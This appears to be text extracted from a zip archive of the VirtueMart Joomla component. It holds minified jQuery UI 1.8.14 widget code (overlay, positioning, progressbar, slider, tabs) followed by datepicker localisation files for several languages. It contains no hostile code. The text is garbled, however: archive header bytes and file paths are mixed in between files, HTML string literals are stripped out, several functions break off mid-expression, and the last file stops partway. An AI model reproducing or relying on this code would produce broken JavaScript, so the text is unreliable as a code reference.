create:function(g){if(this.instances.length===0){setTimeout(function(){a.ui.dialog.overlay.instances.length&&a(document).bind(a.ui.dialog.overlay.events,function(b){if(a(b.target).zIndex()
        ").addClass("ui-widget-overlay")).appendTo(document.body).css({width:this.width(), height:this.height()});a.fn.bgiframe&&i.bgiframe();this.instances.push(i);return i},destroy:function(g){var i=a.inArray(g,this.instances);i!=-1&&this.oldInstances.push(this.instances.splice(i,1)[0]);this.instances.length===0&&a([document,window]).unbind(".dialog-overlay");g.remove();var b=0;a.each(this.instances,function(){b=Math.max(b,this.css("z-index"))});this.maxZ=b},height:function(){var g,i;if(a.browser.msie&&a.browser.version<7){g=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight); i=Math.max(document.documentElement.offsetHeight,document.body.offsetHeight);return g0?g.left-b:Math.max(g.left-i.collisionPosition.left,g.left)},top:function(g,i){var b=a(window);b=i.collisionPosition.top+i.collisionHeight-b.height()-b.scrollTop();g.top=b>0?g.top-b:Math.max(g.top-i.collisionPosition.top,g.top)}},flip:{left:function(g,i){if(i.at[0]!=="center"){var b=a(window);b=i.collisionPosition.left+i.collisionWidth-b.width()-b.scrollLeft();var f=i.my[0]==="left"?-i.elemWidth:i.my[0]==="right"?i.elemWidth:0,j=i.at[0]==="left"?i.targetWidth:-i.targetWidth,l=-2*i.offset[0];g.left+= i.collisionPosition.left<0?f+j+l:b>0?f+j+l:0}},top:function(g,i){if(i.at[1]!=="center"){var b=a(window);b=i.collisionPosition.top+i.collisionHeight-b.height()-b.scrollTop();var f=i.my[1]==="top"?-i.elemHeight:i.my[1]==="bottom"?i.elemHeight:0,j=i.at[1]==="top"?i.targetHeight:-i.targetHeight,l=-2*i.offset[1];g.top+=i.collisionPosition.top<0?f+j+l:b>0?f+j+l:0}}}};if(!a.offset.setOffset){a.offset.setOffset=function(g,i){if(/static/.test(a.curCSS(g,"position")))g.style.position="relative";var b=a(g), f=b.offset(),j=parseInt(a.curCSS(g,"top",true),10)||0,l=parseInt(a.curCSS(g,"left",true),10)||0;f={top:i.top-f.top+j,left:i.left-f.left+l};"using"in i?i.using.call(g,f):b.css(f)};a.fn.offset=function(g){var i=this[0];if(!i||!i.ownerDocument)return null;if(g)return this.each(function(){a.offset.setOffset(this,g)});return h.call(this)}}})(jQuery); (function(a,d){a.widget("ui.progressbar",{options:{value:0,max:100},min:0,_create:function(){this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min,"aria-valuemax":this.options.max,"aria-valuenow":this._value()});this.valueDiv=a("
        ").appendTo(this.element);this.oldValue=this._value();this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"); this.valueDiv.remove();a.Widget.prototype.destroy.apply(this,arguments)},value:function(c){if(c===d)return this._value();this._setOption("value",c);return this},_setOption:function(c,e){if(c==="value"){this.options.value=e;this._refreshValue();this._value()===this.options.max&&this._trigger("complete")}a.Widget.prototype._setOption.apply(this,arguments)},_value:function(){var c=this.options.value;if(typeof c!=="number")c=0;return Math.min(this.options.max,Math.max(this.min,c))},_percentage:function(){return 100* this._value()/this.options.max},_refreshValue:function(){var c=this.value(),e=this._percentage();if(this.oldValue!==c){this.oldValue=c;this._trigger("change")}this.valueDiv.toggle(c>this.min).toggleClass("ui-corner-right",c===this.options.max).width(e.toFixed(0)+"%");this.element.attr("aria-valuenow",c)}});a.extend(a.ui.progressbar,{version:"1.8.14"})})(jQuery); (function(a){a.widget("ui.slider",a.ui.mouse,{widgetEventPrefix:"slide",options:{animate:false,distance:0,max:100,min:0,orientation:"horizontal",range:false,step:1,value:0,values:null},_create:function(){var d=this,c=this.options,e=this.element.find(".ui-slider-handle").addClass("ui-state-default ui-corner-all"),h=c.values&&c.values.length||1,g=[];this._mouseSliding=this._keySliding=false;this._animateOff=true;this._handleIndex=null;this._detectOrientation();this._mouseInit();this.element.addClass("ui-slider ui-slider-"+ this.orientation+" ui-widget ui-widget-content ui-corner-all"+(c.disabled?" ui-slider-disabled ui-disabled":""));this.range=a([]);if(c.range){if(c.range===true){if(!c.values)c.values=[this._valueMin(),this._valueMin()];if(c.values.length&&c.values.length!==2)c.values=[c.values[0],c.values[0]]}this.range=a("
        ").appendTo(this.element).addClass("ui-slider-range ui-widget-header"+(c.range==="min"||c.range==="max"?" ui-slider-range-"+c.range:""))}for(var i=e.length;i"); this.handles=e.add(a(g.join("")).appendTo(d.element));this.handle=this.handles.eq(0);this.handles.add(this.range).filter("a").click(function(b){b.preventDefault()}).hover(function(){c.disabled||a(this).addClass("ui-state-hover")},function(){a(this).removeClass("ui-state-hover")}).focus(function(){if(c.disabled)a(this).blur();else{a(".ui-slider .ui-state-focus").removeClass("ui-state-focus");a(this).addClass("ui-state-focus")}}).blur(function(){a(this).removeClass("ui-state-focus")});this.handles.each(function(b){a(this).data("index.ui-slider-handle", b)});this.handles.keydown(function(b){var f=true,j=a(this).data("index.ui-slider-handle"),l,o,n;if(!d.options.disabled){switch(b.keyCode){case a.ui.keyCode.HOME:case a.ui.keyCode.END:case a.ui.keyCode.PAGE_UP:case a.ui.keyCode.PAGE_DOWN:case a.ui.keyCode.UP:case a.ui.keyCode.RIGHT:case a.ui.keyCode.DOWN:case a.ui.keyCode.LEFT:f=false;if(!d._keySliding){d._keySliding=true;a(this).addClass("ui-state-active");l=d._start(b,j);if(l===false)return}break}n=d.options.step;l=d.options.values&&d.options.values.length? (o=d.values(j)):(o=d.value());switch(b.keyCode){case a.ui.keyCode.HOME:o=d._valueMin();break;case a.ui.keyCode.END:o=d._valueMax();break;case a.ui.keyCode.PAGE_UP:o=d._trimAlignValue(l+(d._valueMax()-d._valueMin())/5);break;case a.ui.keyCode.PAGE_DOWN:o=d._trimAlignValue(l-(d._valueMax()-d._valueMin())/5);break;case a.ui.keyCode.UP:case a.ui.keyCode.RIGHT:if(l===d._valueMax())return;o=d._trimAlignValue(l+n);break;case a.ui.keyCode.DOWN:case a.ui.keyCode.LEFT:if(l===d._valueMin())return;o=d._trimAlignValue(l- n);break}d._slide(b,j,o);return f}}).keyup(function(b){var f=a(this).data("index.ui-slider-handle");if(d._keySliding){d._keySliding=false;d._stop(b,f);d._change(b,f);a(this).removeClass("ui-state-active")}});this._refreshValue();this._animateOff=false},destroy:function(){this.handles.remove();this.range.remove();this.element.removeClass("ui-slider ui-slider-horizontal ui-slider-vertical ui-slider-disabled ui-widget ui-widget-content ui-corner-all").removeData("slider").unbind(".slider");this._mouseDestroy(); return this},_mouseCapture:function(d){var c=this.options,e,h,g,i,b;if(c.disabled)return false;this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()};this.elementOffset=this.element.offset();e=this._normValueFromMouse({x:d.pageX,y:d.pageY});h=this._valueMax()-this._valueMin()+1;i=this;this.handles.each(function(f){var j=Math.abs(e-i.values(f));if(h>j){h=j;g=a(this);b=f}});if(c.range===true&&this.values(1)===c.min){b+=1;g=a(this.handles[b])}if(this._start(d,b)===false)return false; this._mouseSliding=true;i._handleIndex=b;g.addClass("ui-state-active").focus();c=g.offset();this._clickOffset=!a(d.target).parents().andSelf().is(".ui-slider-handle")?{left:0,top:0}:{left:d.pageX-c.left-g.width()/2,top:d.pageY-c.top-g.height()/2-(parseInt(g.css("borderTopWidth"),10)||0)-(parseInt(g.css("borderBottomWidth"),10)||0)+(parseInt(g.css("marginTop"),10)||0)};this.handles.hasClass("ui-state-hover")||this._slide(d,b,e);return this._animateOff=true},_mouseStart:function(){return true},_mouseDrag:function(d){var c= this._normValueFromMouse({x:d.pageX,y:d.pageY});this._slide(d,this._handleIndex,c);return false},_mouseStop:function(d){this.handles.removeClass("ui-state-active");this._mouseSliding=false;this._stop(d,this._handleIndex);this._change(d,this._handleIndex);this._clickOffset=this._handleIndex=null;return this._animateOff=false},_detectOrientation:function(){this.orientation=this.options.orientation==="vertical"?"vertical":"horizontal"},_normValueFromMouse:function(d){var c;if(this.orientation==="horizontal"){c= this.elementSize.width;d=d.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)}else{c=this.elementSize.height;d=d.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)}c=d/c;if(c>1)c=1;if(c<0)c=0;if(this.orientation==="vertical")c=1-c;d=this._valueMax()-this._valueMin();return this._trimAlignValue(this._valueMin()+c*d)},_start:function(d,c){var e={handle:this.handles[c],value:this.value()};if(this.options.values&&this.options.values.length){e.value=this.values(c); e.values=this.values()}return this._trigger("start",d,e)},_slide:function(d,c,e){var h;if(this.options.values&&this.options.values.length){h=this.values(c?0:1);if(this.options.values.length===2&&this.options.range===true&&(c===0&&e>h||c===1&&e1){this.options.values[d]=this._trimAlignValue(c);this._refreshValue();this._change(null,d)}else if(arguments.length)if(a.isArray(arguments[0])){e=this.options.values;h=arguments[0];for(g=0;g=this._valueMax())return this._valueMax();var c=this.options.step>0?this.options.step:1,e=(d-this._valueMin())%c;alignValue=d-e;if(Math.abs(e)*2>=c)alignValue+=e>0?c:-c;return parseFloat(alignValue.toFixed(5))},_valueMin:function(){return this.options.min},_valueMax:function(){return this.options.max}, _refreshValue:function(){var d=this.options.range,c=this.options,e=this,h=!this._animateOff?c.animate:false,g,i={},b,f,j,l;if(this.options.values&&this.options.values.length)this.handles.each(function(o){g=(e.values(o)-e._valueMin())/(e._valueMax()-e._valueMin())*100;i[e.orientation==="horizontal"?"left":"bottom"]=g+"%";a(this).stop(1,1)[h?"animate":"css"](i,c.animate);if(e.options.range===true)if(e.orientation==="horizontal"){if(o===0)e.range.stop(1,1)[h?"animate":"css"]({left:g+"%"},c.animate); if(o===1)e.range[h?"animate":"css"]({width:g-b+"%"},{queue:false,duration:c.animate})}else{if(o===0)e.range.stop(1,1)[h?"animate":"css"]({bottom:g+"%"},c.animate);if(o===1)e.range[h?"animate":"css"]({height:g-b+"%"},{queue:false,duration:c.animate})}b=g});else{f=this.value();j=this._valueMin();l=this._valueMax();g=l!==j?(f-j)/(l-j)*100:0;i[e.orientation==="horizontal"?"left":"bottom"]=g+"%";this.handle.stop(1,1)[h?"animate":"css"](i,c.animate);if(d==="min"&&this.orientation==="horizontal")this.range.stop(1, 1)[h?"animate":"css"]({width:g+"%"},c.animate);if(d==="max"&&this.orientation==="horizontal")this.range[h?"animate":"css"]({width:100-g+"%"},{queue:false,duration:c.animate});if(d==="min"&&this.orientation==="vertical")this.range.stop(1,1)[h?"animate":"css"]({height:g+"%"},c.animate);if(d==="max"&&this.orientation==="vertical")this.range[h?"animate":"css"]({height:100-g+"%"},{queue:false,duration:c.animate})}}});a.extend(a.ui.slider,{version:"1.8.14"})})(jQuery); (function(a,d){function c(){return++h}function e(){return++g}var h=0,g=0;a.widget("ui.tabs",{options:{add:null,ajaxOptions:null,cache:false,cookie:null,collapsible:false,disable:null,disabled:[],enable:null,event:"click",fx:null,idPrefix:"ui-tabs-",load:null,panelTemplate:"
        ",remove:null,select:null,show:null,spinner:"Loading…",tabTemplate:"
      • #{label}
      • "},_create:function(){this._tabify(true)},_setOption:function(i,b){if(i=="selected")this.options.collapsible&& b==this.options.selected||this.select(b);else{this.options[i]=b;this._tabify()}},_tabId:function(i){return i.title&&i.title.replace(/\s/g,"_").replace(/[^\w\u00c0-\uFFFF-]/g,"")||this.options.idPrefix+c()},_sanitizeSelector:function(i){return i.replace(/:/g,"\\:")},_cookie:function(){var i=this.cookie||(this.cookie=this.options.cookie.name||"ui-tabs-"+e());return a.cookie.apply(null,[i].concat(a.makeArray(arguments)))},_ui:function(i,b){return{tab:i,panel:b,index:this.anchors.index(i)}},_cleanup:function(){this.lis.filter(".ui-state-processing").removeClass("ui-state-processing").find("span:data(label.tabs)").each(function(){var i= a(this);i.html(i.data("label.tabs")).removeData("label.tabs")})},_tabify:function(i){function b(r,u){r.css("display","");!a.support.opacity&&u.opacity&&r[0].style.removeAttribute("filter")}var f=this,j=this.options,l=/^#.+/;this.list=this.element.find("ol,ul").eq(0);this.lis=a(" > li:has(a[href])",this.list);this.anchors=this.lis.map(function(){return a("a",this)[0]});this.panels=a([]);this.anchors.each(function(r,u){var v=a(u).attr("href"),w=v.split("#")[0],x;if(w&&(w===location.toString().split("#")[0]|| (x=a("base")[0])&&w===x.href)){v=u.hash;u.href=v}if(l.test(v))f.panels=f.panels.add(f.element.find(f._sanitizeSelector(v)));else if(v&&v!=="#"){a.data(u,"href.tabs",v);a.data(u,"load.tabs",v.replace(/#.*$/,""));v=f._tabId(u);u.href="#"+v;u=f.element.find("#"+v);if(!u.length){u=a(j.panelTemplate).attr("id",v).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").insertAfter(f.panels[r-1]||f.list);u.data("destroy.tabs",true)}f.panels=f.panels.add(u)}else j.disabled.push(r)});if(i){this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all"); this.list.addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.lis.addClass("ui-state-default ui-corner-top");this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom");if(j.selected===d){location.hash&&this.anchors.each(function(r,u){if(u.hash==location.hash){j.selected=r;return false}});if(typeof j.selected!=="number"&&j.cookie)j.selected=parseInt(f._cookie(),10);if(typeof j.selected!=="number"&&this.lis.filter(".ui-tabs-selected").length)j.selected= this.lis.index(this.lis.filter(".ui-tabs-selected"));j.selected=j.selected||(this.lis.length?0:-1)}else if(j.selected===null)j.selected=-1;j.selected=j.selected>=0&&this.anchors[j.selected]||j.selected<0?j.selected:0;j.disabled=a.unique(j.disabled.concat(a.map(this.lis.filter(".ui-state-disabled"),function(r){return f.lis.index(r)}))).sort();a.inArray(j.selected,j.disabled)!=-1&&j.disabled.splice(a.inArray(j.selected,j.disabled),1);this.panels.addClass("ui-tabs-hide");this.lis.removeClass("ui-tabs-selected ui-state-active"); if(j.selected>=0&&this.anchors.length){f.element.find(f._sanitizeSelector(f.anchors[j.selected].hash)).removeClass("ui-tabs-hide");this.lis.eq(j.selected).addClass("ui-tabs-selected ui-state-active");f.element.queue("tabs",function(){f._trigger("show",null,f._ui(f.anchors[j.selected],f.element.find(f._sanitizeSelector(f.anchors[j.selected].hash))[0]))});this.load(j.selected)}a(window).bind("unload",function(){f.lis.add(f.anchors).unbind(".tabs");f.lis=f.anchors=f.panels=null})}else j.selected=this.lis.index(this.lis.filter(".ui-tabs-selected")); this.element[j.collapsible?"addClass":"removeClass"]("ui-tabs-collapsible");j.cookie&&this._cookie(j.selected,j.cookie);i=0;for(var o;o=this.lis[i];i++)a(o)[a.inArray(i,j.disabled)!=-1&&!a(o).hasClass("ui-tabs-selected")?"addClass":"removeClass"]("ui-state-disabled");j.cache===false&&this.anchors.removeData("cache.tabs");this.lis.add(this.anchors).unbind(".tabs");if(j.event!=="mouseover"){var n=function(r,u){u.is(":not(.ui-state-disabled)")&&u.addClass("ui-state-"+r)},k=function(r,u){u.removeClass("ui-state-"+ r)};this.lis.bind("mouseover.tabs",function(){n("hover",a(this))});this.lis.bind("mouseout.tabs",function(){k("hover",a(this))});this.anchors.bind("focus.tabs",function(){n("focus",a(this).closest("li"))});this.anchors.bind("blur.tabs",function(){k("focus",a(this).closest("li"))})}var m,p;if(j.fx)if(a.isArray(j.fx)){m=j.fx[0];p=j.fx[1]}else m=p=j.fx;var q=p?function(r,u){a(r).closest("li").addClass("ui-tabs-selected ui-state-active");u.hide().removeClass("ui-tabs-hide").animate(p,p.duration||"normal", function(){b(u,p);f._trigger("show",null,f._ui(r,u[0]))})}:function(r,u){a(r).closest("li").addClass("ui-tabs-selected ui-state-active");u.removeClass("ui-tabs-hide");f._trigger("show",null,f._ui(r,u[0]))},s=m?function(r,u){u.animate(m,m.duration||"normal",function(){f.lis.removeClass("ui-tabs-selected ui-state-active");u.addClass("ui-tabs-hide");b(u,m);f.element.dequeue("tabs")})}:function(r,u){f.lis.removeClass("ui-tabs-selected ui-state-active");u.addClass("ui-tabs-hide");f.element.dequeue("tabs")}; this.anchors.bind(j.event+".tabs",function(){var r=this,u=a(r).closest("li"),v=f.panels.filter(":not(.ui-tabs-hide)"),w=f.element.find(f._sanitizeSelector(r.hash));if(u.hasClass("ui-tabs-selected")&&!j.collapsible||u.hasClass("ui-state-disabled")||u.hasClass("ui-state-processing")||f.panels.filter(":animated").length||f._trigger("select",null,f._ui(this,w[0]))===false){this.blur();return false}j.selected=f.anchors.index(this);f.abort();if(j.collapsible)if(u.hasClass("ui-tabs-selected")){j.selected= -1;j.cookie&&f._cookie(j.selected,j.cookie);f.element.queue("tabs",function(){s(r,v)}).dequeue("tabs");this.blur();return false}else if(!v.length){j.cookie&&f._cookie(j.selected,j.cookie);f.element.queue("tabs",function(){q(r,w)});f.load(f.anchors.index(this));this.blur();return false}j.cookie&&f._cookie(j.selected,j.cookie);if(w.length){v.length&&f.element.queue("tabs",function(){s(r,v)});f.element.queue("tabs",function(){q(r,w)});f.load(f.anchors.index(this))}else throw"jQuery UI Tabs: Mismatching fragment identifier."; a.browser.msie&&this.blur()});this.anchors.bind("click.tabs",function(){return false})},_getIndex:function(i){if(typeof i=="string")i=this.anchors.index(this.anchors.filter("[href$="+i+"]"));return i},destroy:function(){var i=this.options;this.abort();this.element.unbind(".tabs").removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible").removeData("tabs");this.list.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.anchors.each(function(){var b= a.data(this,"href.tabs");if(b)this.href=b;var f=a(this).unbind(".tabs");a.each(["href","load","cache"],function(j,l){f.removeData(l+".tabs")})});this.lis.unbind(".tabs").add(this.panels).each(function(){a.data(this,"destroy.tabs")?a(this).remove():a(this).removeClass("ui-state-default ui-corner-top ui-tabs-selected ui-state-active ui-state-hover ui-state-focus ui-state-disabled ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide")});i.cookie&&this._cookie(null,i.cookie);return this},add:function(i, b,f){if(f===d)f=this.anchors.length;var j=this,l=this.options;b=a(l.tabTemplate.replace(/#\{href\}/g,i).replace(/#\{label\}/g,b));i=!i.indexOf("#")?i.replace("#",""):this._tabId(a("a",b)[0]);b.addClass("ui-state-default ui-corner-top").data("destroy.tabs",true);var o=j.element.find("#"+i);o.length||(o=a(l.panelTemplate).attr("id",i).data("destroy.tabs",true));o.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide");if(f>=this.lis.length){b.appendTo(this.list);o.appendTo(this.list[0].parentNode)}else{b.insertBefore(this.lis[f]); o.insertBefore(this.panels[f])}l.disabled=a.map(l.disabled,function(n){return n>=f?++n:n});this._tabify();if(this.anchors.length==1){l.selected=0;b.addClass("ui-tabs-selected ui-state-active");o.removeClass("ui-tabs-hide");this.element.queue("tabs",function(){j._trigger("show",null,j._ui(j.anchors[0],j.panels[0]))});this.load(0)}this._trigger("add",null,this._ui(this.anchors[f],this.panels[f]));return this},remove:function(i){i=this._getIndex(i);var b=this.options,f=this.lis.eq(i).remove(),j=this.panels.eq(i).remove(); if(f.hasClass("ui-tabs-selected")&&this.anchors.length>1)this.select(i+(i+1=i?--l:l});this._tabify();this._trigger("remove",null,this._ui(f.find("a")[0],j[0]));return this},enable:function(i){i=this._getIndex(i);var b=this.options;if(a.inArray(i,b.disabled)!=-1){this.lis.eq(i).removeClass("ui-state-disabled");b.disabled=a.grep(b.disabled,function(f){return f!=i});this._trigger("enable",null, this._ui(this.anchors[i],this.panels[i]));return this}},disable:function(i){i=this._getIndex(i);var b=this.options;if(i!=b.selected){this.lis.eq(i).addClass("ui-state-disabled");b.disabled.push(i);b.disabled.sort();this._trigger("disable",null,this._ui(this.anchors[i],this.panels[i]))}return this},select:function(i){i=this._getIndex(i);if(i==-1)if(this.options.collapsible&&this.options.selected!=-1)i=this.options.selected;else return this;this.anchors.eq(i).trigger(this.options.event+".tabs");return this}, load:function(i){i=this._getIndex(i);var b=this,f=this.options,j=this.anchors.eq(i)[0],l=a.data(j,"load.tabs");this.abort();if(!l||this.element.queue("tabs").length!==0&&a.data(j,"cache.tabs"))this.element.dequeue("tabs");else{this.lis.eq(i).addClass("ui-state-processing");if(f.spinner){var o=a("span",j);o.data("label.tabs",o.html()).html(f.spinner)}this.xhr=a.ajax(a.extend({},f.ajaxOptions,{url:l,success:function(n,k){b.element.find(b._sanitizeSelector(j.hash)).html(n);b._cleanup();f.cache&&a.data(j, "cache.tabs",true);b._trigger("load",null,b._ui(b.anchors[i],b.panels[i]));try{f.ajaxOptions.success(n,k)}catch(m){}},error:function(n,k){b._cleanup();b._trigger("load",null,b._ui(b.anchors[i],b.panels[i]));try{f.ajaxOptions.error(n,k,i,j)}catch(m){}}}));b.element.dequeue("tabs");return this}},abort:function(){this.element.queue([]);this.panels.stop(false,true);this.element.queue("tabs",this.element.queue("tabs").splice(-2,2));if(this.xhr){this.xhr.abort();delete this.xhr}this._cleanup();return this}, url:function(i,b){this.anchors.eq(i).removeData("cache.tabs").data("load.tabs",b);return this},length:function(){return this.anchors.length}});a.extend(a.ui.tabs,{version:"1.8.14"});a.extend(a.ui.tabs.prototype,{rotation:null,rotate:function(i,b){var f=this,j=this.options,l=f._rotate||(f._rotate=function(o){clearTimeout(f.rotation);f.rotation=setTimeout(function(){var n=j.selected;f.select(++n\ m8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-hy.jsnuW+A/* Armenian(UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Levon Zakaryan (levon.zakaryan@gmail.com)*/ jQuery(function($){ $.datepicker.regional['hy'] = { closeText: 'Փակել', prevText: '<Նախ.', nextText: 'Հաջ.>', currentText: 'Այսօր', monthNames: ['Հունվար','Փետրվար','Մարտ','Ապրիլ','Մայիս','Հունիս', 'Հուլիս','Օգոստոս','Սեպտեմբեր','Հոկտեմբեր','Նոյեմբեր','Դեկտեմբեր'], monthNamesShort: ['Հունվ','Փետր','Մարտ','Ապր','Մայիս','Հունիս', 'Հուլ','Օգս','Սեպ','Հոկ','Նոյ','Դեկ'], dayNames: ['կիրակի','եկուշաբթի','երեքշաբթի','չորեքշաբթի','հինգշաբթի','ուրբաթ','շաբաթ'], dayNamesShort: ['կիր','երկ','երք','չրք','հնգ','ուրբ','շբթ'], dayNamesMin: ['կիր','երկ','երք','չրք','հնգ','ուրբ','շբթ'], weekHeader: 'ՇԲՏ', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['hy']); });PKGy>\\c8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-bg.jsnuW+A/* Bulgarian initialisation for the jQuery UI date picker plugin. */ /* Written by Stoyan Kyosev (http://svest.org). */ jQuery(function($){ $.datepicker.regional['bg'] = { closeText: 'затвори', prevText: '<назад', nextText: 'напред>', nextBigText: '>>', currentText: 'днес', monthNames: ['Януари','Февруари','Март','Април','Май','Юни', 'Юли','Август','Септември','Октомври','Ноември','Декември'], monthNamesShort: ['Яну','Фев','Мар','Апр','Май','Юни', 'Юли','Авг','Сеп','Окт','Нов','Дек'], dayNames: ['Неделя','Понеделник','Вторник','Сряда','Четвъртък','Петък','Събота'], dayNamesShort: ['Нед','Пон','Вто','Сря','Чет','Пет','Съб'], dayNamesMin: ['Не','По','Вт','Ср','Че','Пе','Съ'], weekHeader: 'Wk', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['bg']); }); PKGy>\+8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-fo.jsnuW+A/* Faroese initialisation for the jQuery UI date picker plugin */ /* Written by Sverri Mohr Olsen, sverrimo@gmail.com */ jQuery(function($){ $.datepicker.regional['fo'] = { closeText: 'Lat aftur', prevText: '<Fyrra', nextText: 'Næsta>', currentText: 'Í dag', monthNames: ['Januar','Februar','Mars','Apríl','Mei','Juni', 'Juli','August','September','Oktober','November','Desember'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mei','Jun', 'Jul','Aug','Sep','Okt','Nov','Des'], dayNames: ['Sunnudagur','Mánadagur','Týsdagur','Mikudagur','Hósdagur','Fríggjadagur','Leyardagur'], dayNamesShort: ['Sun','Mán','Týs','Mik','Hós','Frí','Ley'], dayNamesMin: ['Su','Má','Tý','Mi','Hó','Fr','Le'], weekHeader: 'Vk', dateFormat: 'dd-mm-yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fo']); }); PKGy>\ɘ/com_virtuemart/assets/js/i18n/jquery-ui-i18n.jsnuW+A/* Afrikaans initialisation for the jQuery UI date picker plugin. */ /* Written by Renier Pretorius. */ jQuery(function($){ $.datepicker.regional['af'] = { closeText: 'Selekteer', prevText: 'Vorige', nextText: 'Volgende', currentText: 'Vandag', monthNames: ['Januarie','Februarie','Maart','April','Mei','Junie', 'Julie','Augustus','September','Oktober','November','Desember'], monthNamesShort: ['Jan', 'Feb', 'Mrt', 'Apr', 'Mei', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Des'], dayNames: ['Sondag', 'Maandag', 'Dinsdag', 'Woensdag', 'Donderdag', 'Vrydag', 'Saterdag'], dayNamesShort: ['Son', 'Maa', 'Din', 'Woe', 'Don', 'Vry', 'Sat'], dayNamesMin: ['So','Ma','Di','Wo','Do','Vr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['af']); }); /* Algerian Arabic Translation for jQuery UI date picker plugin. (can be used for Tunisia)*/ /* Mohamed Cherif BOUCHELAGHEM -- cherifbouchelaghem@yahoo.fr */ jQuery(function($){ $.datepicker.regional['ar-DZ'] = { closeText: 'إغلاق', prevText: '<السابق', nextText: 'التالي>', currentText: 'اليوم', monthNames: ['جانفي', 'فيفري', 'مارس', 'أفريل', 'ماي', 'جوان', 'جويلية', 'أوت', 'سبتمبر','أكتوبر', 'نوفمبر', 'ديسمبر'], monthNamesShort: ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12'], dayNames: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesShort: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesMin: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], weekHeader: 'أسبوع', dateFormat: 'dd/mm/yy', firstDay: 6, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ar-DZ']); }); /* Arabic Translation for jQuery UI date picker plugin. */ /* Khaled Alhourani -- me@khaledalhourani.com */ /* NOTE: monthNames are the original months names and they are the Arabic names, not the new months name فبراير - يناير and there isn't any Arabic roots for these months */ jQuery(function($){ $.datepicker.regional['ar'] = { closeText: 'إغلاق', prevText: '<السابق', nextText: 'التالي>', currentText: 'اليوم', monthNames: ['كانون الثاني', 'شباط', 'آذار', 'نيسان', 'مايو', 'حزيران', 'تموز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول'], monthNamesShort: ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12'], dayNames: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesShort: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesMin: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], weekHeader: 'أسبوع', dateFormat: 'dd/mm/yy', firstDay: 6, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ar']); });/* Azerbaijani (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Jamil Najafov (necefov33@gmail.com). */ jQuery(function($) { $.datepicker.regional['az'] = { closeText: 'Bağla', prevText: '<Geri', nextText: 'İrəli>', currentText: 'Bugün', monthNames: ['Yanvar','Fevral','Mart','Aprel','May','İyun', 'İyul','Avqust','Sentyabr','Oktyabr','Noyabr','Dekabr'], monthNamesShort: ['Yan','Fev','Mar','Apr','May','İyun', 'İyul','Avq','Sen','Okt','Noy','Dek'], dayNames: ['Bazar','Bazar ertəsi','Çərşənbə axşamı','Çərşənbə','Cümə axşamı','Cümə','Şənbə'], dayNamesShort: ['B','Be','Ça','Ç','Ca','C','Ş'], dayNamesMin: ['B','B','Ç','С','Ç','C','Ş'], weekHeader: 'Hf', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['az']); });/* Bulgarian initialisation for the jQuery UI date picker plugin. */ /* Written by Stoyan Kyosev (http://svest.org). */ jQuery(function($){ $.datepicker.regional['bg'] = { closeText: 'затвори', prevText: '<назад', nextText: 'напред>', nextBigText: '>>', currentText: 'днес', monthNames: ['Януари','Февруари','Март','Април','Май','Юни', 'Юли','Август','Септември','Октомври','Ноември','Декември'], monthNamesShort: ['Яну','Фев','Мар','Апр','Май','Юни', 'Юли','Авг','Сеп','Окт','Нов','Дек'], dayNames: ['Неделя','Понеделник','Вторник','Сряда','Четвъртък','Петък','Събота'], dayNamesShort: ['Нед','Пон','Вто','Сря','Чет','Пет','Съб'], dayNamesMin: 